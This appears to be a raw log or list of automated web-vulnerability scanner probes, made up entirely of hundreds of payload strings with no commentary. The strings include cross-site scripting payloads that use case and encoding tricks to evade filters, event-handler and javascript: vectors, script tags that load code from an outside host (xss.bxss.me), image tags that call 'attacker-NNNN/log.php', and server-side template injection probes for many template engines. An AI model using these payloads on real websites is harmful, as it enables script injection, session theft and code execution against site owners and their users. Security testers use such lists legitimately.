<th:t="${dfb}#foreach

555<ScR<ScRiPt>IpT>tHmV(9625)</sCr<ScRiPt>IpT>

'print("dfb" . 98991*97996 . "xca")

555<img sRc='http://attacker-9650/log.php?

5559810353

555<ScRiPt >tHmV(9180)</ScRiPt>

\xf6<img zzz onmouseover=hCOx(93651) //\xf6>

bfgx10142\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10142

555

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9206></ScRiPt>

555<andiZrk<

<%={{={@{#{${dfb}}%>

bfg6381\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6381

555<input autofocus onfocus=hCOx(9524)>

'98991*97996*98991*97996

bfgx2060\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2060

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<ScRiPt >tHmV(9268)</ScRiPt>

'}dfb{@math key=98991 method="multiply" operand=97996/}xca

555

<%={{={@{#{${dfb}}%>

555

555<svg  \xa0onload=tHmV(9419)

<a HrEF=http://xss.bxss.me></a>

'}}}dfb{{{this}}}xca

<th:t="${dfb}#foreach

<th:t="${dfb}#foreach

'}#{98991*97996*98991*97996}

555'"()&%<zzz><ScRiPt >XD1Y(9345)</ScRiPt>

555

<a HrEF=jaVaScRiPT:>

dfb{{98991*97996}}xca

555<isindex type=image src=1 onerror=tHmV(9653)>

555

'}dfb#{xca}=123

dfb[[${98991*97996}]]xca

'"()&%<zzz><ScRiPt >XD1Y(9887)</ScRiPt>

555<iframe src='data:text/html

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

'}}dfb{{'abcd'.toUpperCase()}}xca

dfb__${98991*97996}__::.x

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555}body{zzz:Expre/**/SSion(hCOx(9128))}

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<body onload=tHmV(9188)>

555

555

5559861362

555<ScRiPt >cOeW(9890)</ScRiPt>

'}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<img src=//xss.bxss.me/t/dot.gif onload=tHmV(9899)>

555mQupC <ScRiPt >hCOx(9226)</ScRiPt>

555<WOOD8W>FPBVJ[!+!]</WOOD8W>

bfg8665\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8665

555<img src=xyz OnErRor=tHmV(9275)>

dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

bfgx1292\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1292

555<img/src=">" onerror=alert(9603)>

'}}dfb{{98991*97996}}xca

555<WZANIM>HYIHQ[!+!]</WZANIM>

555<script>cOeW(9548)</script>

dfb[[${98991*97996}]]xca

555<ifRAme sRc=9176.com></IfRamE>

dfb[[${98991*97996}]]xca

'}dfb[[${98991*97996}]]xca

<%={{={@{#{${dfb}}%>

%35%35%35%3C%53%63%52%69%50%74%20%3E%74%48%6D%56%289143%29%3C%2F%73%43%72%69%70%54%3E

555<script>cOeW(9590)</script>9590

dfb__${98991*97996}__::.x

555<a0lsT6i x=9309>

dfb__${98991*97996}__::.x

555

555\u003CScRiPt\tHmV(9722)\u003C/sCripT\u003E

555<ScR<ScRiPt>IpT>cOeW(9652)</sCr<ScRiPt>IpT>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

'dfb__${98991*97996}__::.x

<th:t="${dfb}#foreach

555<img sRc='http://attacker-9855/log.php?

555<ScRiPt >7L0f(9585)</ScRiPt>

555&lt

555<ScRiPt >cOeW(9605)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<alBPZjo<

'}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

\xf6<img zzz onmouseover=tHmV(98331) //\xf6>

555<ScRiPt >Kvd8(9417)</ScRiPt>

555<WUZZ8Z>SVQYX[!+!]</WUZZ8Z>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9409></ScRiPt>

555<input autofocus onfocus=tHmV(9401)>

1}}dfb{{98991*97996}}xca

555'"()&%<zzz><ScRiPt >Xrpv(9520)</ScRiPt>

555

555<ScRiPt >cOeW(9394)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

555<WDPVAU>FB6VI[!+!]</WDPVAU>

555<script>7L0f(9146)</script>

dfb{{98991*97996}}xca

<a HrEF=jaVaScRiPT:>

555<svg  \xa0onload=cOeW(9932)

555<script>Kvd8(9780)</script>

1%}dfb{{98991*97996}}xca

555<script>7L0f(9441)</script>9441

555}body{zzz:Expre/**/SSion(tHmV(9740))}

'"()&%<zzz><ScRiPt >Xrpv(9457)</ScRiPt>

dfb[[${98991*97996}]]xca

555<isindex type=image src=1 onerror=cOeW(9659)>

555<script>Kvd8(9165)</script>9165

1}dfb{98991*97996}xca

555<iframe src='data:text/html

555<ScR<ScRiPt>IpT>7L0f(9495)</sCr<ScRiPt>IpT>

555<ScR<ScRiPt>IpT>Kvd8(9727)</sCr<ScRiPt>IpT>

1}dfb${98991*97996}xca

555<body onload=cOeW(9597)>

555iSqM0 <ScRiPt >tHmV(9906)</ScRiPt>

dfb__${98991*97996}__::.x

555<ScRiPt >Kvd8(9749)</ScRiPt>

5559578876

1}dfb#{98991*97996}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >7L0f(9957)</ScRiPt>

bfg1663\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1663

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9793></ScRiPt>

555<WTHMB0>PJSAA[!+!]</WTHMB0>

555<img src=//xss.bxss.me/t/dot.gif onload=cOeW(9726)>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9470></ScRiPt>

1}dfb{#98991*97996}xca

555<ScRiPt >XD1Y(9514)</ScRiPt>

555<ScRiPt >Kvd8(9262)</ScRiPt>

bfgx6752\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6752

555<ifRAme sRc=9992.com></IfRamE>

1}dfb{@98991*97996}xca

555<svg  \xa0onload=Kvd8(9878)

555<img src=xyz OnErRor=cOeW(9738)>

555<a60EExI x=9312>

1}}dfb{{=98991*97996}}xca

555<ScRiPt >7L0f(9242)</ScRiPt>

555<WT5KPN>WBKLQ[!+!]</WT5KPN>

<%={{={@{#{${dfb}}%>

555<isindex type=image src=1 onerror=Kvd8(9776)>

555<svg  \xa0onload=7L0f(9145)

555<img/src=">" onerror=alert(9739)>

555<img sRc='http://attacker-9230/log.php?

555<script>XD1Y(9407)</script>

1)dfb@(98991*97996)xca

555<atn9l8k<

555<iframe src='data:text/html

555<isindex type=image src=1 onerror=7L0f(9381)>

555

1%>dfb<%=98991*97996%>xca

555<script>XD1Y(9432)</script>9432

%35%35%35%3C%53%63%52%69%50%74%20%3E%63%4F%65%57%289597%29%3C%2F%73%43%72%69%70%54%3E

555<body onload=Kvd8(9736)>

555<iframe src='data:text/html

<th:t="${dfb}#foreach

1}dfb#set($x=98991*97996)${x}xca

555<body onload=7L0f(9764)>

555<img src=//xss.bxss.me/t/dot.gif onload=Kvd8(9572)>

555\u003CScRiPt\cOeW(9949)\u003C/sCripT\u003E

555<ScR<ScRiPt>IpT>XD1Y(9680)</sCr<ScRiPt>IpT>

1}dfb{{"abc"|title}}xca

555

555<img src=xyz OnErRor=Kvd8(9722)>

555<img src=//xss.bxss.me/t/dot.gif onload=7L0f(9560)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555&lt

555<ScRiPt >XD1Y(9826)</ScRiPt>

555

555<img/src=">" onerror=alert(9273)>

1print("dfb" . 98991*97996 . "xca")

555<img src=xyz OnErRor=7L0f(9362)>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9893></ScRiPt>

\xf6<img zzz onmouseover=cOeW(91371) //\xf6>

555<img/src=">" onerror=alert(9885)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%4B%76%64%38%289622%29%3C%2F%73%43%72%69%70%54%3E

198991*97996*98991*97996

555<input autofocus onfocus=cOeW(9619)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%37%4C%30%66%289186%29%3C%2F%73%43%72%69%70%54%3E

dfb{{98991*97996}}xca

555<ScRiPt >XD1Y(9899)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

dfb[[${98991*97996}]]xca

555\u003CScRiPt\Kvd8(9982)\u003C/sCripT\u003E

1}dfb{@math key=98991 method="multiply" operand=97996/}xca

555<svg  \xa0onload=XD1Y(9690)

<a HrEF=jaVaScRiPT:>

555\u003CScRiPt\7L0f(9870)\u003C/sCripT\u003E

1}}}dfb{{{this}}}xca

555<isindex type=image src=1 onerror=XD1Y(9071)>

dfb__${98991*97996}__::.x

555&lt

555}body{zzz:Expre/**/SSion(cOeW(9271))}

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

\xf6<img zzz onmouseover=Kvd8(99801) //\xf6>

555&lt

555<iframe src='data:text/html

555<ScRiPt >Xrpv(9607)</ScRiPt>

5550I7CM <ScRiPt >cOeW(9158)</ScRiPt>

555<input autofocus onfocus=Kvd8(9475)>

1}#{98991*97996*98991*97996}

555<WMHQLF>BNESW[!+!]</WMHQLF>

555<W6NXCZ>UFHT5[!+!]</W6NXCZ>

\xf6<img zzz onmouseover=7L0f(92141) //\xf6>

555<body onload=XD1Y(9381)>

<a HrEF=http://xss.bxss.me></a>

1}dfb#{xca}=123

555<script>Xrpv(9988)</script>

555<ifRAme sRc=9738.com></IfRamE>

555<input autofocus onfocus=7L0f(9526)>

1}}dfb{{'abcd'.toUpperCase()}}xca

<a HrEF=jaVaScRiPT:>

555<img src=//xss.bxss.me/t/dot.gif onload=XD1Y(9471)>

555}body{zzz:Expre/**/SSion(Kvd8(9822))}

555<ayJyFzT x=9863>

555<img src=xyz OnErRor=XD1Y(9291)>

<a HrEF=http://xss.bxss.me></a>

1}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<script>Xrpv(9015)</script>9015

555vYkZ2 <ScRiPt >Kvd8(9524)</ScRiPt>

555<WPPOFD>XBPVP[!+!]</WPPOFD>

1}}dfb{{98991*97996}}xca

555<img sRc='http://attacker-9414/log.php?

555<img/src=">" onerror=alert(9637)>

555<ScR<ScRiPt>IpT>Xrpv(9792)</sCr<ScRiPt>IpT>

<a HrEF=jaVaScRiPT:>

1}dfb[[${98991*97996}]]xca

555<ifRAme sRc=9127.com></IfRamE>

555<ScRiPt >Xrpv(9380)</ScRiPt>

555<ayJDIOk<

%35%35%35%3C%53%63%52%69%50%74%20%3E%58%44%31%59%289991%29%3C%2F%73%43%72%69%70%54%3E

1dfb__${98991*97996}__::.x

555<aaNprse x=9676>

555}body{zzz:Expre/**/SSion(7L0f(9383))}

1}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555\u003CScRiPt\XD1Y(9202)\u003C/sCripT\u003E

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9303></ScRiPt>

555<ScRiPt >HjMJ(9551)</ScRiPt>

5559Mqiv <ScRiPt >7L0f(9788)</ScRiPt>

555<img sRc='http://attacker-9479/log.php?

555&lt

555<WRMEKW>PRYIF[!+!]</WRMEKW>

555<ScRiPt >Xrpv(9196)</ScRiPt>

555<a6uoeQq<

555<WJHRNX>TO7YJ[!+!]</WJHRNX>

\xf6<img zzz onmouseover=XD1Y(99701) //\xf6>

555<script>HjMJ(9500)</script>

555<svg  \xa0onload=Xrpv(9087)

555<ifRAme sRc=9839.com></IfRamE>

555<script>HjMJ(9020)</script>9020

555<isindex type=image src=1 onerror=Xrpv(9529)>

555<aS8WxvP x=9778>

555<input autofocus onfocus=XD1Y(9042)>

555<iframe src='data:text/html

555<img sRc='http://attacker-9623/log.php?

555<ScR<ScRiPt>IpT>HjMJ(9354)</sCr<ScRiPt>IpT>

<a HrEF=http://xss.bxss.me></a>

555<ScRiPt >HjMJ(9648)</ScRiPt>

555<aiJbozW<

<a HrEF=jaVaScRiPT:>

555<body onload=Xrpv(9115)>

555}body{zzz:Expre/**/SSion(XD1Y(9424))}

555<img src=//xss.bxss.me/t/dot.gif onload=Xrpv(9989)>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9509></ScRiPt>

555dUO0M <ScRiPt >XD1Y(9361)</ScRiPt>

555<ScRiPt >HjMJ(9985)</ScRiPt>

555<img src=xyz OnErRor=Xrpv(9518)>

555<WNVELM>GQBPR[!+!]</WNVELM>

555<img/src=">" onerror=alert(9193)>

555<ifRAme sRc=9595.com></IfRamE>

555<svg  \xa0onload=HjMJ(9507)

555<azTLDwx x=9240>

555<isindex type=image src=1 onerror=HjMJ(9170)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%58%72%70%76%289863%29%3C%2F%73%43%72%69%70%54%3E

555<iframe src='data:text/html

555<img sRc='http://attacker-9951/log.php?

555\u003CScRiPt\Xrpv(9426)\u003C/sCripT\u003E

555<body onload=HjMJ(9780)>

555&lt

555<aSRNiZb<

\xf6<img zzz onmouseover=Xrpv(97301) //\xf6>

555<img src=//xss.bxss.me/t/dot.gif onload=HjMJ(9458)>

555<img src=xyz OnErRor=HjMJ(9377)>

555<input autofocus onfocus=Xrpv(9498)>

555<img/src=">" onerror=alert(9194)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555}body{zzz:Expre/**/SSion(Xrpv(9241))}

%35%35%35%3C%53%63%52%69%50%74%20%3E%48%6A%4D%4A%289484%29%3C%2F%73%43%72%69%70%54%3E

555Bd24o <ScRiPt >Xrpv(9452)</ScRiPt>

555<WCCZX5>M6DIS[!+!]</WCCZX5>

555\u003CScRiPt\HjMJ(9813)\u003C/sCripT\u003E

555&lt

\xf6<img zzz onmouseover=HjMJ(93351) //\xf6>

555<ifRAme sRc=9932.com></IfRamE>

555<input autofocus onfocus=HjMJ(9511)>

<a HrEF=http://xss.bxss.me></a>

555<aQ4X4Y1 x=9436>

555<img sRc='http://attacker-9022/log.php?

<a HrEF=jaVaScRiPT:>

555'"()&%<zzz><ScRiPt >KFqY(9307)</ScRiPt>

555'"()&%<zzz><ScRiPt >GEl4(9458)</ScRiPt>

555'"()&%<zzz><ScRiPt >cpul(9003)</ScRiPt>

555}body{zzz:Expre/**/SSion(HjMJ(9531))}

555<aFcajyE<

'"()&%<zzz><ScRiPt >GEl4(9744)</ScRiPt>

'"()&%<zzz><ScRiPt >KFqY(9478)</ScRiPt>

'"()&%<zzz><ScRiPt >cpul(9246)</ScRiPt>

555'"()&%<zzz><ScRiPt >ERt7(9912)</ScRiPt>

5559266596

5559353470

555oAO7H <ScRiPt >HjMJ(9835)</ScRiPt>

5559571409

555'"()&%<zzz><ScRiPt >m4mV(9491)</ScRiPt>

bfg5129\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5129

bfg2879\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2879

555<WDGWLF>DEZBH[!+!]</WDGWLF>

'"()&%<zzz><ScRiPt >ERt7(9905)</ScRiPt>

bfg2461\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2461

bfgx8488\xc0\xbez1\xc0\xbcz2a\x90bcxhjl8488

5559552898

'"()&%<zzz><ScRiPt >m4mV(9539)</ScRiPt>

bfgx8059\xc0\xbez1\xc0\xbcz2a\x90bcxhjl8059

555<ifRAme sRc=9722.com></IfRamE>

5559487324

bfgx1688\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1688

<%={{={@{#{${dfb}}%>

<%={{={@{#{${dfb}}%>

bfg2567\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2567

bfg3940\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl3940

555<auT78E4 x=9758>

555

<%={{={@{#{${dfb}}%>

bfgx10076\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10076

bfgx4245\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4245

<th:t="${dfb}#foreach

555<img sRc='http://attacker-9570/log.php?

<th:t="${dfb}#foreach

555

<%={{={@{#{${dfb}}%>

<%={{={@{#{${dfb}}%>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

555<aKgCDjj<

555

dfb{{98991*97996}}xca

555

555

555'"()&%<zzz><ScRiPt >3UXx(9722)</ScRiPt>

555

<th:t="${dfb}#foreach

dfb[[${98991*97996}]]xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

<th:t="${dfb}#foreach

555

'"()&%<zzz><ScRiPt >3UXx(9177)</ScRiPt>

555

dfb__${98991*97996}__::.x

555

dfb{{98991*97996}}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

5559262723

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb{{98991*97996}}xca

"}}dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

bfg6818\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6818

"%}dfb{{98991*97996}}xca

dfb[[${98991*97996}]]xca

bfgx10724\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10724

dfb[[${98991*97996}]]xca

dfb{98991*97996}xca

555<ScRiPt >GEl4(9155)</ScRiPt>

"}dfb{98991*97996}xca

<%={{={@{#{${dfb}}%>

dfb__${98991*97996}__::.x

555<WQHFX5>KG2AV[!+!]</WQHFX5>

"}dfb${98991*97996}xca

dfb${98991*97996}xca

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<th:t="${dfb}#foreach

555<script>GEl4(9865)</script>

"}dfb#{98991*97996}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb#{98991*97996}xca

555

555<ScRiPt >cpul(9866)</ScRiPt>

"}dfb{#98991*97996}xca

555<ScRiPt >ERt7(9567)</ScRiPt>

555<script>GEl4(9916)</script>9916

dfb{#98991*97996}xca

555<WQQS0D>JLWWS[!+!]</WQQS0D>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{@98991*97996}xca

555<WHFNZV>SYGIL[!+!]</WHFNZV>

555<script>cpul(9700)</script>

555

"}dfb{@98991*97996}xca

dfb{{=98991*97996}}xca

555<ScR<ScRiPt>IpT>GEl4(9620)</sCr<ScRiPt>IpT>

555<script>ERt7(9470)</script>

555<script>cpul(9968)</script>9968

"}}dfb{{=98991*97996}}xca

555<ScRiPt >GEl4(9678)</ScRiPt>

dfb{{98991*97996}}xca

dfb@(98991*97996)xca

")dfb@(98991*97996)xca

555<script>ERt7(9086)</script>9086

dfb[[${98991*97996}]]xca

dfb<%=98991*97996%>xca

555<ScR<ScRiPt>IpT>cpul(9848)</sCr<ScRiPt>IpT>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9015></ScRiPt>

555<ScR<ScRiPt>IpT>ERt7(9364)</sCr<ScRiPt>IpT>

"%>dfb<%=98991*97996%>xca

555<ScRiPt >ERt7(9143)</ScRiPt>

dfb__${98991*97996}__::.x

"}dfb#set($x=98991*97996)${x}xca

555<ScRiPt >cpul(9974)</ScRiPt>

555<ScRiPt >GEl4(9067)</ScRiPt>

dfb#set($x=98991*97996)${x}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9868></ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9683></ScRiPt>

555<svg  \xa0onload=GEl4(9992)

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

"}dfb{{"abc"|title}}xca

555<isindex type=image src=1 onerror=GEl4(9961)>

555<ScRiPt >ERt7(9723)</ScRiPt>

"print("dfb" . 98991*97996 . "xca")

dfb{{"abc"|title}}xca

555<ScRiPt >cpul(9427)</ScRiPt>

555<ScRiPt >3UXx(9826)</ScRiPt>

555<svg  \xa0onload=ERt7(9735)

555<iframe src='data:text/html

"98991*97996*98991*97996

555<svg  \xa0onload=cpul(9851)

print("dfb" . 98991*97996 . "xca")

555<WIR1XJ>GCDGN[!+!]</WIR1XJ>

555<body onload=GEl4(9069)>

555<isindex type=image src=1 onerror=ERt7(9148)>

555<isindex type=image src=1 onerror=cpul(9719)>

"}dfb{@math key=98991 method="multiply" operand=97996/}xca

98991*97996*98991*97996

555<img src=//xss.bxss.me/t/dot.gif onload=GEl4(9366)>

555<script>3UXx(9513)</script>

dfb{@math key=98991 method="multiply" operand=97996/}xca

555'"()&%<zzz><ScRiPt >gpTY(9324)</ScRiPt>

"}}}dfb{{{this}}}xca

555<iframe src='data:text/html

555<iframe src='data:text/html

555<img src=xyz OnErRor=GEl4(9485)>

555<script>3UXx(9900)</script>9900

'"()&%<zzz><ScRiPt >gpTY(9175)</ScRiPt>

dfb{{{this}}}xca

555<ScR<ScRiPt>IpT>3UXx(9917)</sCr<ScRiPt>IpT>

555<img/src=">" onerror=alert(9058)>

555<body onload=ERt7(9240)>

555<ScRiPt >3UXx(9846)</ScRiPt>

"}#{98991*97996*98991*97996}

555<img src=//xss.bxss.me/t/dot.gif onload=ERt7(9418)>

555<body onload=cpul(9907)>

#{98991*97996*98991*97996}

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9783></ScRiPt>

5559545676

dfb#{xca}=123

%35%35%35%3C%53%63%52%69%50%74%20%3E%47%45%6C%34%289784%29%3C%2F%73%43%72%69%70%54%3E

555<ScRiPt >3UXx(9498)</ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=cpul(9155)>

555<img src=xyz OnErRor=ERt7(9485)>

555\u003CScRiPt\GEl4(9940)\u003C/sCripT\u003E

bfg5990\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5990

"}dfb#{xca}=123

dfb{{'abcd'.toUpperCase()}}xca

555<svg  \xa0onload=3UXx(9218)

555&lt

bfgx1247\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1247

555<isindex type=image src=1 onerror=3UXx(9431)>

555<img src=xyz OnErRor=cpul(9211)>

"}}dfb{{'abcd'.toUpperCase()}}xca

555<img/src=">" onerror=alert(9057)>

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

\xf6<img zzz onmouseover=GEl4(95381) //\xf6>

<%={{={@{#{${dfb}}%>

%35%35%35%3C%53%63%52%69%50%74%20%3E%45%52%74%37%289262%29%3C%2F%73%43%72%69%70%54%3E

555<iframe src='data:text/html

555<img/src=">" onerror=alert(9583)>

"}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

dfb{{98991*97996}}xca

555

555<input autofocus onfocus=GEl4(9792)>

555\u003CScRiPt\ERt7(9850)\u003C/sCripT\u003E

555<body onload=3UXx(9477)>

"}}dfb{{98991*97996}}xca

<a HrEF=http://xss.bxss.me></a>

%35%35%35%3C%53%63%52%69%50%74%20%3E%63%70%75%6C%289458%29%3C%2F%73%43%72%69%70%54%3E

dfb[[${98991*97996}]]xca

<th:t="${dfb}#foreach

555&lt

<a HrEF=jaVaScRiPT:>

555\u003CScRiPt\cpul(9932)\u003C/sCripT\u003E

555<img src=//xss.bxss.me/t/dot.gif onload=3UXx(9079)>

"}dfb[[${98991*97996}]]xca

555

555}body{zzz:Expre/**/SSion(GEl4(9856))}

555<img src=xyz OnErRor=3UXx(9146)>

dfb__${98991*97996}__::.x

\xf6<img zzz onmouseover=ERt7(95891) //\xf6>

555&lt

555aY9W3 <ScRiPt >GEl4(9829)</ScRiPt>

"dfb__${98991*97996}__::.x

555<input autofocus onfocus=ERt7(9763)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<WTSQUL>5Z2GA[!+!]</WTSQUL>

\xf6<img zzz onmouseover=cpul(91751) //\xf6>

555<img/src=">" onerror=alert(9554)>

"}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<input autofocus onfocus=cpul(9529)>

555<ScRiPt >m4mV(9396)</ScRiPt>

555<ifRAme sRc=9350.com></IfRamE>

%35%35%35%3C%53%63%52%69%50%74%20%3E%33%55%58%78%289875%29%3C%2F%73%43%72%69%70%54%3E

<a HrEF=http://xss.bxss.me></a>

555

555<aD1OK7K x=9777>

555\u003CScRiPt\3UXx(9527)\u003C/sCripT\u003E

<a HrEF=http://xss.bxss.me></a>

555<WD8YD8>XCU48[!+!]</WD8YD8>

555&lt

<a HrEF=jaVaScRiPT:>

dfb{{98991*97996}}xca

'}}dfb{{98991*97996}}xca

555<img sRc='http://attacker-9853/log.php?

555<script>m4mV(9513)</script>

555}body{zzz:Expre/**/SSion(ERt7(9832))}

\xf6<img zzz onmouseover=3UXx(90471) //\xf6>

dfb[[${98991*97996}]]xca

555<script>m4mV(9026)</script>9026

555LyA9C <ScRiPt >ERt7(9774)</ScRiPt>

<a HrEF=jaVaScRiPT:>

555<aZeFSqG<

'%}dfb{{98991*97996}}xca

dfb__${98991*97996}__::.x

555<WS24AE>ZB9QH[!+!]</WS24AE>

555<input autofocus onfocus=3UXx(9108)>

555}body{zzz:Expre/**/SSion(cpul(9232))}

'}dfb{98991*97996}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ifRAme sRc=9457.com></IfRamE>

555<ScR<ScRiPt>IpT>m4mV(9699)</sCr<ScRiPt>IpT>

555KmFWr <ScRiPt >cpul(9483)</ScRiPt>

'}dfb${98991*97996}xca

555<ScRiPt >gpTY(9350)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

555<ScRiPt >m4mV(9243)</ScRiPt>

555<ay7GgtF x=9803>

555<WF0LZQ>ZA6YS[!+!]</WF0LZQ>

<a HrEF=jaVaScRiPT:>

555'"()&%<zzz><ScRiPt >lejU(9874)</ScRiPt>

'}dfb#{98991*97996}xca

555<WOKK9B>BVKOF[!+!]</WOKK9B>

555<ifRAme sRc=9236.com></IfRamE>

'}dfb{#98991*97996}xca

555<img sRc='http://attacker-9100/log.php?

555}body{zzz:Expre/**/SSion(3UXx(9281))}

'"()&%<zzz><ScRiPt >lejU(9853)</ScRiPt>

555<ayfSdWy x=9488>

'}dfb{@98991*97996}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9039></ScRiPt>

555<script>gpTY(9939)</script>

555<aXiENC9<

555<script>gpTY(9568)</script>9568

555pWU43 <ScRiPt >3UXx(9681)</ScRiPt>

555<ScRiPt >m4mV(9925)</ScRiPt>

'}}dfb{{=98991*97996}}xca

5559887289

555<img sRc='http://attacker-9117/log.php?

555<WXBTZ3>LQEIG[!+!]</WXBTZ3>

555'"()&%<zzz><ScRiPt >dgLv(9302)</ScRiPt>

555<ScR<ScRiPt>IpT>gpTY(9470)</sCr<ScRiPt>IpT>

555<ifRAme sRc=9041.com></IfRamE>

555<svg  \xa0onload=m4mV(9373)

bfg8749\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8749

')dfb@(98991*97996)xca

555<amMMmR7<

'"()&%<zzz><ScRiPt >dgLv(9111)</ScRiPt>

555<ahwRazX x=9076>

bfgx8689\xc0\xbez1\xc0\xbcz2a\x90bcxhjl8689

555<ScRiPt >gpTY(9815)</ScRiPt>

555<isindex type=image src=1 onerror=m4mV(9437)>

5559655723

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9530></ScRiPt>

'%>dfb<%=98991*97996%>xca

555<img sRc='http://attacker-9267/log.php?

<%={{={@{#{${dfb}}%>

bfg5830\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5830

555<ScRiPt >gpTY(9016)</ScRiPt>

555<iframe src='data:text/html

bfgx3488\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3488

555

'}dfb#set($x=98991*97996)${x}xca

555<axXJh17<

<%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

555<svg  \xa0onload=gpTY(9308)

'}dfb{{"abc"|title}}xca

555

555<body onload=m4mV(9667)>

555<isindex type=image src=1 onerror=gpTY(9326)>

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555

<th:t="${dfb}#foreach

555<img src=//xss.bxss.me/t/dot.gif onload=m4mV(9766)>

'print("dfb" . 98991*97996 . "xca")

dfb{{98991*97996}}xca

555<img src=xyz OnErRor=m4mV(9170)>

555<iframe src='data:text/html

555

'98991*97996*98991*97996

dfb[[${98991*97996}]]xca

555<body onload=gpTY(9346)>

555<img/src=">" onerror=alert(9214)>

555<img src=//xss.bxss.me/t/dot.gif onload=gpTY(9710)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb__${98991*97996}__::.x

'}dfb{@math key=98991 method="multiply" operand=97996/}xca

555<img src=xyz OnErRor=gpTY(9828)>

555

%35%35%35%3C%53%63%52%69%50%74%20%3E%6D%34%6D%56%289472%29%3C%2F%73%43%72%69%70%54%3E

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

'}}}dfb{{{this}}}xca

dfb{{98991*97996}}xca

555<img/src=">" onerror=alert(9823)>

555\u003CScRiPt\m4mV(9354)\u003C/sCripT\u003E

555<ScRiPt >lejU(9068)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%67%70%54%59%289521%29%3C%2F%73%43%72%69%70%54%3E

